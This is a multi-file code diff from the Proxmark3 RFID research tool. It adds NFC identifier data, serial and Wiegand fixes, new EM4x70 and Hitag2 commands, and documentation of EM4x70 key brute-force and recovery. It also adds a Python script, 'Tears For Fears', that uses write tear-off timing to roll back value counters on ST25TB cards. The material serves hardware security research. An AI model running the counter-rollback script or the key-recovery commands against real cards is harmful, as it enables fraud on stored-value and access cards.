"Description": "NFC Access Key for commercial properties based on Apple UnifiedAccess protocol",
"Type": "access"
},
{
"AID": "A000000909ACCE5502",
"Vendor": "Connectivity Standards Alliance (CSA)",
"Country": "",
"Name": "Aliro Framework",
"Description": "Used during key provisioning, configuration, attestation exchange",
"Type": ""
},
{
"AID": "A000000909ACCE5501",
"Vendor": "Connectivity Standards Alliance (CSA)",
"Country": "",
"Name": "Aliro",
"Description": "",
"Type": "access"
},
{
@ -2430,5 +2462,13 @@
"Name": "CEPAS",
"Description": "Transit and e-money card used in Singapore",
"Type": "transport"
},
{
"AID": "A0000004040125",
"Vendor": "Ile-de-France Mobilites",
"Country": "France",
"Name": "Navigo",
"Description": "CALYPSO-based transit card",
"Type": "transport"
}
]

View file

@ -0,0 +1,126 @@
{
"versions": {
"01": {
"tci": {
"000000": {
"id": "tci-vas-or-pay",
"name": "VAS or payment",
"description": "Used when a reader needs a pass or a payment card. Sometimes called VAS over Payment"
},
"000001": {
"id": "tci-vas-and-pay",
"name": "VAS and payment",
"description": "Also called single tap mode. Allows reading multiple passes with different ids in one tap"
},
"000002": {
"id": "tci-vas-only",
"name": "VAS only",
"description": "Used when a reader requests passes only"
},
"000003": {
"id": "tci-pay-only",
"name": "VAS only",
"description": "Used when a reader requests payment cards only. Also disables express mode for chinese transit cards"
},
"cf0000": {
"id": "tci-ignore",
"name": "Ignore",
"description": "iPhones before IOS17 emit this frame so that other apple devices don't react to the field"
}
}
},
"02": {
"types": {
"01": {
"id": "terminal-type-transit",
"name": "Transit",
"description": "Used by express-mode enabled transit terminals",
"subtypes": {
"00": {
"id": "terminal-subtype-default",
"name": "Default subtype",
"description": "",
"tci": {
"030400": {
"id": "tci-hop-fastpass",
"name": "HOP Fastpass",
"description": ""
},
"030002": {
"id": "tci-transit-for-london",
"name": "TFL",
"description": "First publically known TCI, found by Proxmark community member"
},
"030001": {
"id": "tci-wmata",
"name": "SmartTrip",
"description": ""
},
"030005": {
"id": "tci-la-tapp",
"name": "LA Tap",
"description": ""
},
"030007": {
"id": "tci-clipper",
"name": "Clipper",
"description": ""
},
"03095a": {
"id": "tci-navigo",
"name": "Navigo",
"description": ""
}
},
"data": {
"length": 5,
"name": "Fallback EMV payment networks",
"description": "Bit mask of allowed EMV open loop payment cards. First byte is responsible for most popular payment networks"
}
}
}
},
"02": {
"id": "terminal-type-access",
"name": "Access",
"description": "Used by express-mode enabled access and key readers",
"subtypes": {
"00": {
"id": "terminal-subtype-venue",
"name": "Venue",
"description": "Used by following venues: Offices, Parks, Universities",
"tci": {
"no-info-add-if-found": ""
}
},
"06": {
"id": "terminal-subtype-home-key",
"name": "Home Key",
"description": "Used by home key",
"tci": {
"021100": {
"id": "tci-homekey",
"name": "Home Key",
"description": ""
}
}
},
"09": {
"id": "terminal-subtype-automotive-pairing",
"name": "Automotive",
"description": "Used by cars for access and setup",
"tci": {
"no-info-add-if-found": ""
}
}
}
}
}
}
}
}

View file

@ -55,6 +55,11 @@
"name": "Transit: Clipper",
"description": ""
},
{
"value": "6a02c8010003095a0000000000",
"name": "Transit: Navigo",
"description": ""
},
{
"value": "6a02c3020002ffff",

View file

@ -2769,7 +2769,7 @@ static int CmdAsn1Decoder(const char *Cmd) {
void *argtable[] = {
arg_param_begin,
arg_str0("d", NULL, "<hex>", "ASN1 encoded byte array"),
arg_lit0("t", "test", "perform self test"),
arg_lit0(NULL, "test", "perform self tests"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);

View file

@ -161,8 +161,9 @@ static void SendCommandNG_internal(uint16_t cmd, uint8_t *data, size_t len, bool
txBufferNG.pre.ng = ng;
txBufferNG.pre.length = len;
txBufferNG.pre.cmd = cmd;
if (len > 0 && data)
if (len > 0 && data) {
memcpy(&txBufferNG.data, data, len);
}
if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) {
uint8_t first = 0, second = 0;
@ -474,12 +475,15 @@ __attribute__((force_align_arg_pointer))
res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen);
if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) {
rx.magic = rx_raw.pre.magic;
uint16_t length = rx_raw.pre.length;
rx.ng = rx_raw.pre.ng;
rx.status = rx_raw.pre.status;
rx.cmd = rx_raw.pre.cmd;
if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply
if (length > PM3_CMD_DATA_SIZE) {
PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length);
error = true;
@ -488,30 +492,38 @@ __attribute__((force_align_arg_pointer))
if ((!error) && (length > 0)) { // Get the variable length payload
res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen);
if ((res != PM3_SUCCESS) || (rxlen != length)) {
PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length);
error = true;
} else {
if (rx.ng) { // Received a valid NG frame
memcpy(&rx.data, &rx_raw.data, length);
rx.length = length;
if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) {
ACK_received = true;
}
} else {
uint64_t arg[3];
if (length < sizeof(arg)) {
PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length);
error = true;
}
if (!error) { // Received a valid MIX frame
memcpy(arg, &rx_raw.data, sizeof(arg));
rx.oldarg[0] = arg[0];
rx.oldarg[1] = arg[1];
rx.oldarg[2] = arg[2];
memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg));
rx.length = length - sizeof(arg);
if (rx.cmd == CMD_ACK) {
ACK_received = true;
}
@ -519,12 +531,14 @@ __attribute__((force_align_arg_pointer))
}
}
} else if ((!error) && (length == 0)) { // we received an empty frame
if (rx.ng)
if (rx.ng) {
rx.length = 0; // set received length to 0
else { // old frames can't be empty
} else { // old frames can't be empty
PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)");
error = true;
}
}
if (!error) { // Get the postamble
@ -537,9 +551,12 @@ __attribute__((force_align_arg_pointer))
if (!error) { // Check CRC, accept MAGIC as placeholder
rx.crc = rx_raw.foopost.crc;
if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) {
uint8_t first, second;
compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second);
if ((first << 8) + second != rx.crc) {
PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc);
error = true;

View file

@ -623,6 +623,7 @@ const static vocabulary_t vocabulary[] = {
{ 0, "lf em 4x70 auth" },
{ 0, "lf em 4x70 setpin" },
{ 0, "lf em 4x70 setkey" },
{ 1, "lf em 4x70 calc" },
{ 1, "lf em 4x70 recover" },
{ 0, "lf em 4x70 autorecover" },
{ 1, "lf fdxb help" },
@ -650,6 +651,7 @@ const static vocabulary_t vocabulary[] = {
{ 1, "lf hitag help" },
{ 1, "lf hitag list" },
{ 0, "lf hitag info" },
{ 0, "lf hitag reader" },
{ 1, "lf hitag test" },
{ 0, "lf hitag dump" },
{ 0, "lf hitag read" },

View file

@ -387,11 +387,15 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
return INVALID_SERIAL_PORT;
}
// Flush all lingering data that may exist
tcflush(sp->fd, TCIOFLUSH);
// Duplicate the (old) terminal info struct
sp->tiNew = sp->tiOld;
// Configure the serial port
sp->tiNew.c_cflag = CS8 | CLOCAL | CREAD;
// Configure the serial port.
// fix: default to 115200 here seems to fix the white dongle issue. Will need to check proxbuilds later.
sp->tiNew.c_cflag = B115200 | CS8 | CLOCAL | CREAD;
sp->tiNew.c_iflag = IGNPAR;
sp->tiNew.c_oflag = 0;
sp->tiNew.c_lflag = 0;
@ -401,6 +405,17 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
// Block until a timer expires (n * 100 mSec.)
sp->tiNew.c_cc[VTIME] = 0;
// more configurations
sp->tiNew.c_cc[VINTR] = 0; /* Ctrl-c */
sp->tiNew.c_cc[VQUIT] = 0; /* Ctrl-\ */
sp->tiNew.c_cc[VERASE] = 0; /* del */
sp->tiNew.c_cc[VKILL] = 0; /* @ */
sp->tiNew.c_cc[VEOF] = 4; /* Ctrl-d */
sp->tiNew.c_cc[VSTART] = 0; /* Ctrl-q */
sp->tiNew.c_cc[VSTOP] = 0; /* Ctrl-s */
sp->tiNew.c_cc[VSUSP] = 0; /* Ctrl-z */
sp->tiNew.c_cc[VEOL] = 0; /* '\0' */
// Try to set the new terminal info struct
if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) {
PrintAndLogEx(ERR, "error: UART set terminal info attribute");
@ -695,9 +710,14 @@ bool uart_set_speed(serial_port sp, const uint32_t uiPortSpeed) {
// Set port speed (Input and Output)
cfsetispeed(&ti, stPortSpeed);
cfsetospeed(&ti, stPortSpeed);
// flush
tcflush(spu->fd, TCIOFLUSH);
bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1;
if (result)
if (result) {
g_conn.uart_speed = uiPortSpeed;
}
return result;
}

View file

@ -154,7 +154,7 @@ static bool Pack_indasc27(wiegand_card_t *card, wiegand_message_t *packed, bool
if (card->OEM > 0) return false; // Not used in this format
packed->Length = 27;
set_nonlinear_field(packed, card->FacilityCode, 11, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
set_nonlinear_field(packed, card->FacilityCode, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
set_nonlinear_field(packed, card->CardNumber, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23});
if (preamble)
return add_HID_header(packed);
@ -166,7 +166,7 @@ static bool Unpack_indasc27(wiegand_message_t *packed, wiegand_card_t *card) {
if (packed->Length != 27) return false; // Wrong length? Stop here.
card->FacilityCode = get_nonlinear_field(packed, 11, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
card->FacilityCode = get_nonlinear_field(packed, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
card->CardNumber = get_nonlinear_field(packed, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23});
return true;
}
@ -1178,7 +1178,7 @@ static bool Pack_iscs38(wiegand_card_t *card, wiegand_message_t *packed, bool pr
set_linear_field(packed, card->FacilityCode, 5, 10);
set_linear_field(packed, card->CardNumber, 15, 22);
set_linear_field(packed, card->IssueLevel, 1, 4);
set_linear_field(packed, card->OEM, 1, 4);
set_bit_by_position(packed,
evenparity32(get_linear_field(packed, 1, 18))
@ -1257,7 +1257,7 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea
if (card->IssueLevel > 0) return false; // Not used in this format
if (card->OEM > 0x7F) return false; // Not used in this format
packed->Length = 39; // Set number of bits
packed->Length = 40; // Set number of bits
set_linear_field(packed, card->OEM, 0, 7);
@ -1277,7 +1277,7 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea
static bool Unpack_bc40(wiegand_message_t *packed, wiegand_card_t *card) {
memset(card, 0, sizeof(wiegand_card_t));
if (packed->Length != 39) return false; // Wrong length? Stop here.
if (packed->Length != 40) return false; // Wrong length? Stop here.
card->OEM = get_linear_field(packed, 0, 7);
card->FacilityCode = get_linear_field(packed, 7, 12);

View file

@ -196,6 +196,10 @@ bool add_HID_header(wiegand_message_t *data) {
if (data->Length > 84 || data->Length == 0)
return false;
if (data->Length == 48) {
data->Mid |= 1U << (data->Length - 32); // Example leading 1: start bit
return true;
}
if (data->Length >= 64) {
data->Top |= 0x09e00000; // Extended-length header
data->Top |= 1U << (data->Length - 64); // leading 1: start bit

View file

@ -9016,11 +9016,29 @@
],
"usage": "lf em 4x70 autorecover [-h] [--par] --rnd <hex> --frn <hex> --grn <hex>"
},
"lf em 4x70 calc": {
"command": "lf em 4x70 calc",
"description": "Calculates both the reader and tag challenge for a user-provided key and rnd.",
"notes": [
"lf em 4x70 calc --key F32AA98CF5BE4ADFA6D3480B --rnd 45F54ADA252AAC (pm3 test key)",
"lf em 4x70 calc --key A090A0A02080000000000000 --rnd 3FFE1FB6CC513F (research paper key)",
"lf em 4x70 calc --key 022A028C02BE000102030405 --rnd 7D5167003571F8 (autorecovery test key)"
],
"offline": true,
"options": [
"-h, --help This help",
"--key <hex> Key 96-bit as 12 hex bytes",
"--rnd <hex> 56-bit random value sent to tag for authentication"
],
"usage": "lf em 4x70 calc [-h] --key <hex> --rnd <hex>"
},
"lf em 4x70 help": {
"command": "lf em 4x70 help",
"description": "help This help recover Recover remaining key from partial key --------------------------------------------------------------------------------------- lf em 4x70 brute available offline: no Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70 This attack does NOT write anything to the tag. Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'. After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'",
"description": "help This help calc Calculate EM4x70 challenge and response recover Recover remaining key from partial key --------------------------------------------------------------------------------------- lf em 4x70 brute available offline: no Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70 This attack does NOT write anything to the tag. Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'. After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'",
"notes": [
"lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 -> bruteforcing key bits k95...k80"
"lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 -> bruteforcing key bits k95...k80 (pm3 test key)",
"lf em 4x70 brute -b 8 --rnd 3FFE1FB6CC513F --frn F355F1A0 -> bruteforcing key bits k79...k64 (research paper key)",
"lf em 4x70 brute -b 7 --rnd 7D5167003571F8 --frn 982DBCC0 -> bruteforcing key bits k63...k48 (autorecovery test key)"
],
"offline": true,
"options": [
@ -9052,7 +9070,8 @@
"description": "After obtaining key bits 95..48 (such as via 'lf em 4x70 brute'), this command will recover key bits 47..00. By default, this process does NOT require a tag to be present. By default, the potential keys are shown (typically 1-6) along with a corresponding 'lf em 4x70 auth' command that will authenticate, if that potential key is correct. The user can copy/paste these commands when the tag is present to manually check which of the potential keys is correct.",
"notes": [
"lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)",
"lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)"
"lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)",
"lf em 4x70 recover --key 022A028C02BE --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)"
],
"offline": true,
"options": [
@ -9518,7 +9537,7 @@
"-h, --help This help",
"--nrar <hex> specify nonce / answer as 8 hex bytes"
],
"usage": "lf hitag lookup [-h] [--nrar <hex>]"
"usage": "lf hitag crack2 [-h] [--nrar <hex>]"
},
"lf hitag dump": {
"command": "lf hitag dump",
@ -9653,6 +9672,20 @@
],
"usage": "lf hitag read [-hs2] [--pwd] [--nrar <hex>] [--crypto] [-k <hex>]"
},
"lf hitag reader": {
"command": "lf hitag reader",
"description": "Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed",
"notes": [
"lf hitag reader",
"lf hitag reader -@ -> Continuous mode"
],
"offline": false,
"options": [
"-h, --help This help",
"-@ continuous reader mode"
],
"usage": "lf hitag reader [-h@]"
},
"lf hitag sim": {
"command": "lf hitag sim",
"description": "Simulate Hitag transponder You need to `lf hitag eload` first",
@ -12699,8 +12732,8 @@
}
},
"metadata": {
"commands_extracted": 735,
"commands_extracted": 737,
"extracted_by": "PM3Help2JSON v1.00",
"extracted_on": "2024-05-14T08:02:41"
"extracted_on": "2024-05-27T13:38:05"
}
}

View file

@ -979,6 +979,7 @@ Check column "offline" for their availability.
|`lf em 4x70 auth `|N |`Authenticate EM4x70`
|`lf em 4x70 setpin `|N |`Write PIN`
|`lf em 4x70 setkey `|N |`Write key`
|`lf em 4x70 calc `|Y |`Calculate EM4x70 challenge and response`
|`lf em 4x70 recover `|Y |`Recover remaining key from partial key`
|`lf em 4x70 autorecover `|N |`Recover entire key from writable tag`
@ -1046,6 +1047,7 @@ Check column "offline" for their availability.
|`lf hitag help `|Y |`This help`
|`lf hitag list `|Y |`List Hitag trace history`
|`lf hitag info `|N |`Hitag 2 tag information`
|`lf hitag reader `|N |`Act line an Hitag 2 reader`
|`lf hitag test `|Y |`Perform self tests`
|`lf hitag dump `|N |`Dump Hitag 2 tag`
|`lf hitag read `|N |`Read Hitag memory`

View file

@ -127,7 +127,7 @@ Here are the supported values you can assign to `STANDALONE` in `Makefile.platfo
| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous
| HF_14BSNIFF | 14b sniff - jacopo-j
| HF_15SNIFF | 15693 sniff storing to flashmem - Glaser
| HF_15SNIFF | 15693 simulator - lnv42
| HF_15SIM | 15693 simulator - lnv42
| HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito
| HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins

View file

@ -59,7 +59,7 @@ typedef struct {
typedef struct {
int status;
uint8_t data[48];
uint8_t data[256];
} PACKED lf_hitag_crack_response_t;
//---------------------------------------------------------

View file

@ -705,21 +705,28 @@ int main(int argc, char **argv) {
// show buidlog in case of error
// todo: only for device models
unsigned int build_errors = 0;
unsigned int build_logs = 0;
// unsigned int build_logs = 0;
cl_command_queue_properties queue_properties = 0;
if (opencl_profiling) queue_properties = CL_QUEUE_PROFILING_ENABLE;
if (opencl_profiling) {
queue_properties = CL_QUEUE_PROFILING_ENABLE;
}
// setup, phase 1
z = 0; // dolphin
for (w = 0; w < ocl_platform_cnt; w++) {
if (!cd_ctx[w].selected) continue;
if (!cd_ctx[w].selected) {
continue;
}
for (q = 0; q < cd_ctx[w].device_cnt; q++) {
if (!cd_ctx[w].device[q].selected) continue;
if (!cd_ctx[w].device[q].selected) {
continue;
}
ctx.device_ids[z] = cd_ctx[w].device[q].device_id;
@ -860,7 +867,7 @@ int main(int argc, char **argv) {
free(buffer);
build_logs++;
// build_logs++;
#if DEBUGME == 0
continue; // todo: evaluate this, one or more can be broken, so continue
#endif

View file

@ -109,7 +109,17 @@ def hitag2(state, length=48):
if __name__ == "__main__":
import sys
if len(sys.argv) == 4:
key = int(sys.argv[1], 16)
uid = int(sys.argv[2], 16)
n = int(sys.argv[3])
for i in range(n):
nonce = random.randrange(2**32)
state = hitag2_init(key, uid, nonce)
print('%08X %08X' % (nonce, hitag2(state, 32) ^ 0xffffffff))
elif len(sys.argv) == 5:
key = int(sys.argv[1], 16)
uid = int(sys.argv[2], 16)
n = int(sys.argv[3])

View file

@ -0,0 +1,553 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#+---------------------------------------------------------------------------+
#| Tears For Fears : Utilities for reverting counters of ST25TB* cards |
#+---------------------------------------------------------------------------+
#| Copyright (C) Pierre Granier - 2024 |
#| |
#| This program is free software: you can redistribute it and/or modify |
#| it under the terms of the GNU General Public License as published by |
#| the Free Software Foundation, either version 3 of the License, or |
#| (at your option) any later version. |
#| |
#| This program is distributed in the hope that it will be useful, |
#| but WITHOUT ANY WARRANTY; without even the implied warranty of |
#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
#| GNU General Public License for more details. |
#| |
#| You should have received a copy of the GNU General Public License |
#| along with this program. If not, see <http://www.gnu.org/licenses/>. |
#+---------------------------------------------------------------------------+
#
# Ref:
# https://gitlab.com/SiliconOtter/tears4fears
#
import argparse
from queue import Queue, Empty
import re
from subprocess import Popen, PIPE
from time import sleep
from threading import Thread
PM3_SUBPROC = None
PM3_SUBPROC_QUEUE = None
class colors:
reset = '\033[0m'
bold = '\033[01m'
disable = '\033[02m'
underline = '\033[04m'
reverse = '\033[07m'
strikethrough = '\033[09m'
invisible = '\033[08m'
purple = '\033[35m'
red = '\033[31m'
green = '\033[32m'
blue = '\033[34m'
lightred = '\033[91m'
lightgreen = '\033[92m'
lightblue = '\033[94m'
def main():
global PM3_SUBPROC
global PM3_SUBPROC_QUEUE
parser = argparse.ArgumentParser()
parser.add_argument("-s",
"--strat",
type=int,
nargs="?",
const="1",
default="1",
dest="strategy",
help="Strategy to use (default 1)")
parser.add_argument("-b",
"--block",
type=int,
nargs="?",
const="-1",
default="-1",
required=True,
dest="target_block",
help="Target Block")
parser.add_argument("-p",
"--pm3-client",
type=str,
default="pm3",
dest="pm3_path",
help="pm3 client path")
args = parser.parse_args()
PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE)
PM3_SUBPROC_QUEUE = Queue()
thread = Thread(target=enqueue_output,
args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE))
thread.start()
if args.target_block != -1:
tear_for_fears(args.target_block, args.strategy)
else:
parser.error("--block is required ")
sub_com('exit')
thread.join()
def enqueue_output(out, queue):
"""Continuously read PM3 client stdout and fill a global queue
Args:
out: stdout of PM3 client
queue: where to push "out" content
"""
for line in iter(out.readline, b""):
queue.put(line)
out.close()
def sub_com(command, func=None, sleep_over=0):
"""Send command to aPM3 client
Args:
command: String of the command to send
func: hook for a parsing function on the pm3 command end
Returns:
result of the hooked function if any
"""
global PM3_SUBPROC
global PM3_SUBPROC_QUEUE
result = None
sleep(sleep_over)
PM3_SUBPROC.stdin.write(bytes((command + "\n").encode("ascii")))
PM3_SUBPROC.stdin.flush()
if func:
while not result:
try:
result = func(str(PM3_SUBPROC_QUEUE.get(timeout=.5)))
except Empty:
PM3_SUBPROC.stdin.write(bytes(
(command + "\n").encode("ascii")))
PM3_SUBPROC.stdin.flush()
return result
def set_space(space):
"""Placeholder for instrumentalization or do it manually
Args:
space: distance needed
Returns:
"""
input(f"\nSet Reader <-> Card distance to {space} and press enter : \n")
def parse_rdbl(str_to_parse):
"""Return a list of str of a block from pm3 output
Uses `rbdl` in pm3 client
Args:
str_to_parse: string to parse
Returns:
string list
"""
tmp = re.search(r"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse)
if tmp:
# print(tmp)
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split("... ")[1])
return None
def parse_UID(str_to_parse):
"""Return a card UID from pm3 output
Args:
str_to_parse: string to parse
Returns:
string list
"""
tmp = re.search(r"UID: ([0-9a-fA-F]{2} )*", str_to_parse)
if tmp:
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split(": ")[1])
return None
def slist_to_int(list_source):
"""Return the int value associated to a bloc list of string
Args:
list_source: list to convert
Returns:
represented int
"""
return ((int(list_source[3], 16) << 24) + (int(list_source[2], 16) << 16) +
(int(list_source[1], 16) << 8) + int(list_source[0], 16))
def int_to_slist(src):
"""Return the list of string from the int value associated to a block
Args:
src: int to convert
Returns:
list of string
"""
list_dest = list()
for i in range(4):
list_dest.append(hex((src >> (8 * i)) & 255)[2:].zfill(2).upper())
return list_dest
def ponderated_read(b_num, repeat_read, sleep_over):
"""read a few times a block and give a pondered dictionary
Args:
b_num: block number to read
Returns:
dictionary (key: int, value: number of occurrences)
"""
weight_r = dict()
for _ in range(repeat_read):
# sleep_over=0 favorize read at 0
# (and allow early discovery of weak bits)
result = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}",
parse_rdbl,
sleep_over=sleep_over))
if result in weight_r:
weight_r[result] += 1
else:
weight_r[result] = 1
return weight_r
def exploit_weak_bit(b_num, original_value, repeat_read, sleep_over):
"""
Args:
b_num: block number
stop: last tearing timing
"""
# Sending RAW writes because `wrbl` spend additionnal time checking success
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
set_space(1)
dic = ponderated_read(b_num, repeat_read, sleep_over)
for value, occur in dic.items():
indic = colors.reset
if value > original_value:
indic = colors.purple
elif value < original_value:
indic = colors.lightblue
print(
f"{(occur / repeat_read) * 100} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}"
f" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}")
target = max(dic)
read_back = 0
# There is no ACK for write so we use a read to check distance coherence
if target > (original_value):
print(f"\n{colors.bold}Trying to consolidate.{colors.reset}"
f"\nKeep card at the max distance from the reader.\n")
while (read_back != (target - 1)):
print(f"{colors.bold}Writing :{colors.reset}"
f" {''.join(map(str,int_to_slist(target - 1)))}")
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}")
read_back = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
while (read_back != (target - 2)):
print(f"{colors.bold}Writing :{colors.reset}"
f" {''.join(map(str,int_to_slist(target - 2)))}")
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}")
read_back = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
set_space(0)
def strat_1_values(original_value):
"""return payload and trigger value depending on original_value
follow strategy 1 rules
Args:
original_value: starting value before exploit
Returns:
(payload_value, trigger_value) if possible
None otherwise
"""
high1bound = 30
# Check for leverageable bits positions,
# Start from bit 32, while their is no bit at 1 decrement position
while ((original_value & (0b11 << high1bound)) != (0b11 << high1bound)):
high1bound -= 1
if high1bound < 1:
# No bits can be used as leverage
return None
low1bound = high1bound
# We found a suitable pair of bits at 1,
# While their is bits at 1, decrement position
while ((original_value & (0b11 << low1bound)) == (0b11 << low1bound)):
low1bound -= 1
if low1bound < 1:
# No bits can be reset
return None
trigger_value = (0b01 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
payload_value = (0b10 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
return (trigger_value, payload_value)
def strat_2_values(original_value):
"""return payload and trigger value depending on original_value
follow strategy 2 rules
Args:
original_value: starting value before exploit
Returns:
(payload_value, trigger_value) if possible
None otherwise
"""
high1bound = 31
# Check for leverageable bit position,
# Start from bit 32, while their is no bit at 1 decrement position
while not (original_value & (0b1 << high1bound)):
high1bound -= 1
if high1bound < 1:
# No bits can be used as leverage
return None
low1bound = high1bound
# We found a suitable bit at 1,
# While their is bits at 1, decrement position
while (original_value & (0b1 << low1bound)):
low1bound -= 1
if low1bound < 1:
# No bits can be reset
return None
trigger_value = (0b1 << (low1bound + 1)) ^ (2**(high1bound + 1) - 1)
payload_value = trigger_value ^ (2**min(low1bound, 4) - 1)
return (trigger_value, payload_value)
def tear_for_fears(b_num, strategy):
"""try to roll back `b_num` counter using `strategy`
Args:
b_num: block number
"""
################################################################
######### You may want to play with theses parameters #########
start_taring_delay = 130
repeat_read = 8
repeat_write = 5
sleep_quick = 0
sleep_long = 0.3
################################################################
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
print(f"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n")
tmp = ponderated_read(b_num, repeat_read, sleep_long)
original_value = max(tmp, key=tmp.get)
if strategy == 1:
leverageable_values = strat_1_values(original_value)
else:
leverageable_values = strat_2_values(original_value)
if leverageable_values is None:
print(
f"\n{colors.bold}No bits usable for leverage{colors.reset}\n"
f"Current value : {''.join(map(str,int_to_slist(original_value)))}"
f" : { bin(original_value)[2:].zfill(32)}")
return
else:
(trigger_value, payload_value) = leverageable_values
print(f"Initial Value : {''.join(map(str,int_to_slist(original_value)))}"
f" : { bin(original_value)[2:].zfill(32)}")
print(f"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}"
f" : { bin(trigger_value)[2:].zfill(32)}")
print(f"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}"
f" : { bin(payload_value)[2:].zfill(32)}\n")
print(
f"{colors.bold}Color coding :{colors.reset}\n"
f"{colors.reset}\tValue we started with{colors.reset}\n"
f"{colors.green}\tTarget value (trigger|payload){colors.reset}\n"
f"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n"
f"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n"
f"{colors.purple}\tAbove initial value {colors.reset}")
if input(f"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n":
return
trigger_flag = False
payload_flag = False
t4fears_flag = False
print(f"\n{colors.bold}Write and tear trigger value : {colors.reset}"
f"{''.join(map(str,int_to_slist(trigger_value)))}\n")
tear_us = start_taring_delay
while not trigger_flag:
for _ in range(repeat_write):
if t4fears_flag:
exploit_weak_bit(b_num, original_value, repeat_read,
sleep_long)
if trigger_flag:
break
sub_com(
f"hw tearoff --delay {tear_us} --on ; "
f"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}")
preamb = f"Tear timing = {tear_us:02d} us : "
print(preamb, end="")
trigger_flag = True
for value, occur in ponderated_read(b_num, repeat_read,
sleep_quick).items():
indic = colors.reset
# Here we want 100% chance of having primed one sub-counter
# The logic is inverted for payload
if value > original_value:
indic = colors.purple
t4fears_flag = True
trigger_flag = False
elif value == trigger_value:
indic = colors.green
elif value < original_value:
indic = colors.lightblue
else:
trigger_flag = False
print(
f"{(occur / repeat_read) * 100:3.0f} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
f"{colors.reset} : {indic}"
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
end=f"\n{' ' * len(preamb)}")
